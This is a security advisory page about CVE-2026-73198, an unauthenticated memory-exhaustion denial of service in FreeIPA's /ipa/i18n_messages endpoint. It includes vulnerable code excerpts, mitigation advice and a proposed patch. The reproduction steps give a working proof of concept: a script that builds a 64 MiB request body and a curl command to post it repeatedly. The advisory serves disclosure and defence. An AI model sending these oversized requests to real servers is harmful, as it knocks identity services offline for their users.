CVE-2026-73198: Ipa: freeipa: unauthenticated dos in `/ipa/i18n_messages` via unbounded request body read

Published May 11, 2026
·
Updated

A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the /ipa/i18nmessages endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.

Other sources

AIONLYREPORT package: ipa-4.13.1-3.el10 ------ Summary: Unauthenticated DoS in /ipa/i18nmessages via Unbounded Request Body Read: the public i18n endpoint reads attacker-controlled request bodies into memory without a size limit before rejecting invalid commands, allowing remote unauthenticated memory exhaustion and service degradation. Requirements to exploit: Network reachability to /ipa/i18nmessages and the ability to send large POST bodies. Authentication is not required. Exploitability and impact are reduced if Apache, modwsgi, or an upstream proxy already enforces a strict request-body limit. Component affected: ipa-4.13.1-3.el10 in ipaserver/rpcserver.py (readinput(), jsonserveri18nmessages.call()), with public exposure from install/share/ipa.conf.template Version affected: ipa-4.13.1-3.el10 Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (HIGH) AV:N - The vulnerable endpoint is exposed over HTTPS and is reachable remotely. AC:L - The attack only requires oversized POST requests; no special timing, race, or bypass is needed. PR:N - The shipped Apache configuration grants unauthenticated access to /ipa/i18nmessages. UI:N - No user interaction is required. S:U - The impact is confined to the same service scope. C:N - No confidentiality impact is established by the available evidence. I:N - No integrity impact is established by the available evidence. A:H - Large or concurrent requests can drive substantial memory growth, worker churn, and potential service unavailability. Impact: Important. This is a remote, unauthenticated denial-of-service condition on a shipped public endpoint. That aligns with Red Hat's Important rating for flaws that allow remote users to cause denial of service. Critical is not appropriate because there is no evidence of code execution, privilege escalation, or confidentiality/integrity impact. Deployments that already enforce request-body limits may see reduced impact, but that mitigation is not shown in the provided package configuration. Embargo: yes Reason: The issue is remotely reachable without authentication on a default public IPA endpoint and can be exercised with commodity tools to disrupt service availability before a fix or mitigation guidance is deployed. Acknowledgement: Aisle Research Vulnerability Details: The request body helper trusts CONTENTLENGTH and reads that many bytes from wsgi.input without a size cap: python def readinput(environ): """ Read the request body from environ['wsgi.input']. """ try: length = int(environ.get('CONTENTLENGTH')) except (ValueError, TypeError): return None return environ['wsgi.input'].read(length).decode('utf-8') The unauthenticated i18n endpoint performs this read before it verifies that the RPC method is actually i18nmessages: python def call(self, environ, startresponse): logger.debug('WSGI jsonserveri18nmessages.call:') if environ['REQUESTMETHOD'] != 'POST': return self.notallowed(startresponse) data = readinput(environ) unmarshaldata = super(jsonserveri18nmessages, self ).unmarshal(data) name = unmarshaldata[0] if unmarshaldata else '' if name != 'i18nmessages': return self.forbidden(startresponse) environ['wsgi.input'] = BytesIO(data.encode('utf-8')) response = super(jsonserveri18nmessages, self ).call(environ, startresponse) return response The shipped Apache template exposes this path without authentication: apache <Location "/ipa/i18nmessages"> Require all granted </Location> As a result, a remote client can force the service to allocate memory for arbitrarily large request bodies before command validation occurs. When the method name passes validation, the body is encoded again into BytesIO, which can add another in-memory copy. The available package configuration does not show a LimitRequestBody or similar request-body cap for IPA endpoints. The demonstrated impact is denial of service through memory pressure, degraded responsiveness, worker churn, and possible OOM conditions under sustained load. No confidentiality or integrity impact is established from the available evidence. Steps to reproduce: 1. Deploy ipa-4.13.1-3.el10 with the shipped Apache configuration that exposes /ipa/i18nmessages. 2. Generate a large JSON request body, for example a 64 MiB method field: bash python3 - <<'PY' import json s = "A" (64 1024 1024) obj = {"method": s, "params":[[], {"version":"2.0"}], "id": 1} open("/tmp/ipa-big.json", "w").write(json.dumps(obj)) PY 3. Send an unauthenticated POST request to the public endpoint: bash curl -k -sS -o /dev/null -X POST \ -H 'Content-Type: application/json' \ --data-binary @/tmp/ipa-big.json \ https://<ipa-host>/ipa/i18nmessages 4. Repeat the request concurrently, for example with 10-50 workers, while monitoring httpd or modwsgi RSS with tools such as ps, top, or smem. 5. Observe memory growth and service degradation, including slow responses, worker churn or restarts, and possible OOM under sustained pressure. Mitigation: Until a code fix is available, enforce a request-body limit for /ipa/i18nmessages or /ipa/ using Apache LimitRequestBody, and apply an equivalent body-size limit in any reverse proxy or load balancer in front of IPA. This reduces or blocks oversized requests before they are read into the WSGI process. Proposed Fix: Add a hard request-body cap in readinput() and return HTTP 413 from jsonserveri18nmessages when the body is too large. diff diff --git a/ipaserver/rpcserver.py b/ipaserver/rpcserver.py @@ +MAXREQUESTBODYSIZE = 1024 1024 # 1 MiB + def readinput(environ): """ Read the request body from environ['wsgi.input']. """ try: length = int(environ.get('CONTENTLENGTH')) except (ValueError, TypeError): return None + if length < 0 or length > MAXREQUESTBODYSIZE: + return None return environ['wsgi.input'].read(length).decode('utf-8') @@ class jsonserveri18nmessages(jsonserver): def call(self, environ, startresponse): logger.debug('WSGI jsonserveri18nmessages.call:') if environ['REQUESTMETHOD'] != 'POST': return self.notallowed(startresponse) data = readinput(environ) + if data is None: + startresponse('413 Payload Too Large', + [('Content-Type', 'text/plain; charset=utf-8')]) + return [b'Request body too large'] unmarshaldata = super(jsonserveri18nmessages, self ).unmarshal(data) ------ This report was generated using AI technology. Always review AI-generated content prior to use

Red Hat

Affected Software

7 affected components
FreeIPA=ipa-4.13.1-3.el10
redhat Enterprise Linux=6.0
redhat Enterprise Linux=7.0
redhat Enterprise Linux=8.0
redhat Enterprise Linux=9.0
redhat Enterprise Linux=10.0
FreeIPA FreeIPA<4.13.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Implement a hard request-body cap in `read_input()` for `jsonserver_i18n_messages` by defining `MAX_REQUEST_BODY_SIZE = 1024 * 1024` and rejecting requests when `length < 0 or length > MAX_REQUEST_BODY_SIZE` (return HTTP 413 Payload Too Large).

    FreeIPA (ipaserver/rpcserver.py) jsonserver_i18n_messages.read_input() MAX_REQUEST_BODY_SIZE = 1048576
  2. Compensating control

    Enforce a request-body size limit for Apache access to the public IPA i18n endpoint by using Apache `LimitRequestBody` for `/ipa/i18n_messages` (and `/ipa/*` as appropriate), so oversized requests are rejected before IPA reads the request body.

Event History

May 11, 2026
Data Sourced
via Red Hat·09:28 PM
DescriptionSeverityAffected Software
Aug 20, 2026
CVE Published
via MITRE·10:39 AM
Data Sourced
via MITRE·10:39 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:16 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

FreeIPA deployments where an attacker can reach the public /ipa/i18n_messages endpoint are exposed. The affected component is ipa-4.13.1-3.el10, and authentication is not required.

2

What does an attacker need to exploit it?

An attacker needs network reachability to /ipa/i18n_messages and the ability to send large POST request bodies. No credentials or user interaction are required.

3

Are deployments protected by request-size limits still affected?

Apache, mod_wsgi, or an upstream proxy that already enforces a strict request-body limit reduces exploitability and impact. Without such a limit, the endpoint can read an attacker-controlled body into memory before rejecting invalid commands.

4

What can be done while no released package patch is available?

Enforce a strict request-body size limit in Apache, mod_wsgi, or an upstream proxy for requests to /ipa/i18n_messages. Restricting network access to that endpoint can also reduce exposure where feasible.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203